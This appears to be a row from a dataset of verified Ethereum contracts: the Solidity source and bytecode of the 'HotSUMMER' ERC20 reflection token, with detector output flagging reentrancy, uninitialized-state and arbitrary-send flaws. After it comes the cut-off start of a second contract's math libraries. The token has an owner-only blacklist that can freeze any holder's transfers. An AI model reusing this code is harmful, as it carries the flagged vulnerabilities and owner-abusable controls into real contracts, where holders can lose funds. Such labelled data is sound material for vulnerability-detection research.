function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HotSUMMER is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "t.me/HotSummerETH";
string private constant _symbol = 'HotSUMMER';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 14;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b03813516906020013561052c565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b5061020561054a565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610557565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105de565b005b34801561029b57600080fd5b506102a4610657565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b5035151561065c565b3480156102f257600080fd5b5061028d6106d2565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610706565b34801561033a57600080fd5b5061028d610770565b34801561034f57600080fd5b50610358610812565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e610821565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b038135169060200135610844565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610858945050505050565b34801561047e57600080fd5b5061028d61090c565b34801561049357600080fd5b5061028d610949565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d30565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e35565b6040805180820190915260118152700e85cdaca5e90dee8a6eadadacae48aa89607b1b602082015290565b6000610540610539610e60565b8484610e64565b5060015b92915050565b683635c9adc5dea0000090565b6000610564848484610f50565b6105d484610570610e60565b6105cf85604051806060016040528060288152602001611fc7602891396001600160a01b038a166000908152600460205260408120906105ae610e60565b6001600160a01b031681526020810191909152604001600020549190611326565b610e64565b5060019392505050565b6105e6610e60565b6000546001600160a01b03908116911614610636576040805162461bcd60e51b81526020600482018190526024820152600080516020611fef833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610664610e60565b6000546001600160a01b039081169116146106b4576040805162461bcd60e51b81526020600482018190526024820152600080516020611fef833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106e6610e60565b6001600160a01b0316146106f957600080fd5b47610703816113bd565b50565b6001600160a01b03811660009081526006602052604081205460ff161561074657506001600160a01b03811660009081526003602052604090205461076b565b6001600160a01b03821660009081526002602052604090205461076890611442565b90505b919050565b610778610e60565b6000546001600160a01b039081169116146107c8576040805162461bcd60e51b81526020600482018190526024820152600080516020611fef833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6040805180820190915260098152682437ba29aaa6a6a2a960b91b602082015290565b6000610540610851610e60565b8484610f50565b610860610e60565b6000546001600160a01b039081169116146108b0576040805162461bcd60e51b81526020600482018190526024820152600080516020611fef833981519152604482015290519081900360640190fd5b60005b8151811015610908576001600760008484815181106108ce57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108b3565b5050565b6010546001600160a01b0316610920610e60565b6001600160a01b03161461093357600080fd5b600061093e30610706565b9050610703816114a2565b610951610e60565b6000546001600160a01b039081169116146109a1576040805162461bcd60e51b81526020600482018190526024820152600080516020611fef833981519152604482015290519081900360640190fd5b601354600160a01b900460ff1615610a00576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a499030906001600160a01b0316683635c9adc5dea00000610e64565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8257600080fd5b505afa158015610a96573d6000803e3d6000fd5b505050506040513d6020811015610aac57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610afc57600080fd5b505afa158015610b10573d6000803e3d6000fd5b505050506040513d6020811015610b2657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b7857600080fd5b505af1158015610b8c573d6000803e3d6000fd5b505050506040513d6020811015610ba257600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bd481610706565b600080610bdf610812565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c4a57600080fd5b505af1158015610c5e573d6000803e3d6000fd5b50505050506040513d6060811015610c7557600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d0157600080fd5b505af1158015610d15573d6000803e3d6000fd5b505050506040513d6020811015610d2b57600080fd5b505050565b610d38610e60565b6000546001600160a01b03908116911614610d88576040805162461bcd60e51b81526020600482018190526024820152600080516020611fef833981519152604482015290519081900360640190fd5b60008111610ddd576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610dfb6064610df5683635c9adc5dea0000084611670565b906116c9565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610ea95760405162461bcd60e51b815260040180806020018281038252602481526020018061205d6024913960400191505060405180910390fd5b6001600160a01b038216610eee5760405162461bcd60e51b8152600401808060200182810382526022815260200180611f846022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f955760405162461bcd60e51b81526004018080602001828103825260258152602001806120386025913960400191505060405180910390fd5b6001600160a01b038216610fda5760405162461bcd60e51b8152600401808060200182810382526023815260200180611f376023913960400191505060405180910390fd5b600081116110195760405162461bcd60e51b815260040180806020018281038252602981526020018061200f6029913960400191505060405180910390fd5b611021610812565b6001600160a01b0316836001600160a01b03161415801561105b5750611045610812565b6001600160a01b0316826001600160a01b031614155b156112c957601354600160b81b900460ff1615611155576001600160a01b038316301480159061109457506001600160a01b0382163014155b80156110ae57506012546001600160a01b03848116911614155b80156110c857506012546001600160a01b03838116911614155b15611155576012546001600160a01b03166110e1610e60565b6001600160a01b0316148061111057506013546001600160a01b0316611105610e60565b6001600160a01b0316145b611155576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561116457600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111a657506001600160a01b03821660009081526007602052604090205460ff16155b6111af57600080fd5b6013546001600160a01b0384811691161480156111da57506012546001600160a01b03838116911614155b80156111ff57506001600160a01b03821660009081526005602052604090205460ff16155b80156112145750601354600160b81b900460ff165b1561125c576001600160a01b038216600090815260086020526040902054421161123d57600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061126730610706565b601354909150600160a81b900460ff1615801561129257506013546001600160a01b03858116911614155b80156112a75750601354600160b01b900460ff165b156112c7576112b5816114a2565b4780156112c5576112c5476113bd565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061130b57506001600160a01b03831660009081526005602052604090205460ff165b15611314575060005b6113208484848461170b565b50505050565b600081848411156113b55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137a578181015183820152602001611362565b50505050905090810190601f1680156113a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113d78360026116c9565b6040518115909202916000818181858888f193505050501580156113ff573d6000803e3d6000fd5b506011546001600160a01b03166108fc61141a8360026116c9565b6040518115909202916000818181858888f19350505050158015610908573d6000803e3d6000fd5b6000600a548211156114855760405162461bcd60e51b815260040180806020018281038252602a815260200180611f5a602a913960400191505060405180910390fd5b600061148f611827565b905061149b83826116c9565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114e357fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153757600080fd5b505afa15801561154b573d6000803e3d6000fd5b505050506040513d602081101561156157600080fd5b505181518290600190811061157257fe5b6001600160a01b0392831660209182029290920101526012546115989130911684610e64565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561161e578181015183820152602001611606565b505050509050019650505050505050600060405180830381600087803b15801561164757600080fd5b505af115801561165b573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261167f57506000610544565b8282028284828161168c57fe5b041461149b5760405162461bcd60e51b8152600401808060200182810382526021815260200180611fa66021913960400191505060405180910390fd5b600061149b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061184a565b80611718576117186118af565b6001600160a01b03841660009081526006602052604090205460ff16801561175957506001600160a01b03831660009081526006602052604090205460ff16155b1561176e576117698484846118e1565b61181a565b6001600160a01b03841660009081526006602052604090205460ff161580156117af57506001600160a01b03831660009081526006602052604090205460ff165b156117bf57611769848484611a05565b6001600160a01b03841660009081526006602052604090205460ff1680156117ff57506001600160a01b03831660009081526006602052604090205460ff165b1561180f57611769848484611aae565b61181a848484611b21565b8061132057611320611b65565b6000806000611834611b73565b909250905061184382826116c9565b9250505090565b600081836118995760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561137a578181015183820152602001611362565b5060008385816118a557fe5b0495945050505050565b600c541580156118bf5750600d54155b156118c9576118df565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118f387611cf2565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119259088611d4f565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546119549087611d4f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119839086611d91565b6001600160a01b0389166000908152600260205260409020556119a581611deb565b6119af8483611e73565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a1787611cf2565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a499087611d4f565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a7f9084611d91565b6001600160a01b0389166000908152600360209081526040808320939093556002905220546119839086611d91565b600080600080600080611ac087611cf2565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611af29088611d4f565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a499087611d4f565b600080600080600080611b3387611cf2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119549087611d4f565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cb257826002600060098481548110611ba357fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c085750816003600060098481548110611be157fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c2657600a54683635c9adc5dea0000094509450505050611cee565b611c666002600060098481548110611c3a57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d4f565b9250611ca86003600060098481548110611c7c57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d4f565b9150600101611b87565b50600a54611cc990683635c9adc5dea000006116c9565b821015611ce857600a54683635c9adc5dea00000935093505050611cee565b90925090505b9091565b6000806000806000806000806000611d0f8a600c54600d54611e97565b9250925092506000611d1f611827565b90506000806000611d328e878787611ee6565b919e509c509a509598509396509194505050505091939550919395565b600061149b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611326565b60008282018381101561149b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611df5611827565b90506000611e038383611670565b30600090815260026020526040902054909150611e209082611d91565b3060009081526002602090815260408083209390935560069052205460ff1615610d2b5730600090815260036020526040902054611e5e9084611d91565b30600090815260036020526040902055505050565b600a54611e809083611d4f565b600a55600b54611e909082611d91565b600b555050565b6000808080611eab6064610df58989611670565b90506000611ebe6064610df58a89611670565b90506000611ed682611ed08b86611d4f565b90611d4f565b9992985090965090945050505050565b6000808080611ef58886611670565b90506000611f038887611670565b90506000611f118888611670565b90506000611f2382611ed08686611d4f565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220066e8ca9b708f8f9a945f8608921949e209dcfcaddc96b399316eb267a73d44164736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 874 |
0x215f08fB8439110684CcC589D2b2BAE434b969d9 | /**
*Submitted for verification at Etherscan.io on 2022-02-07
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
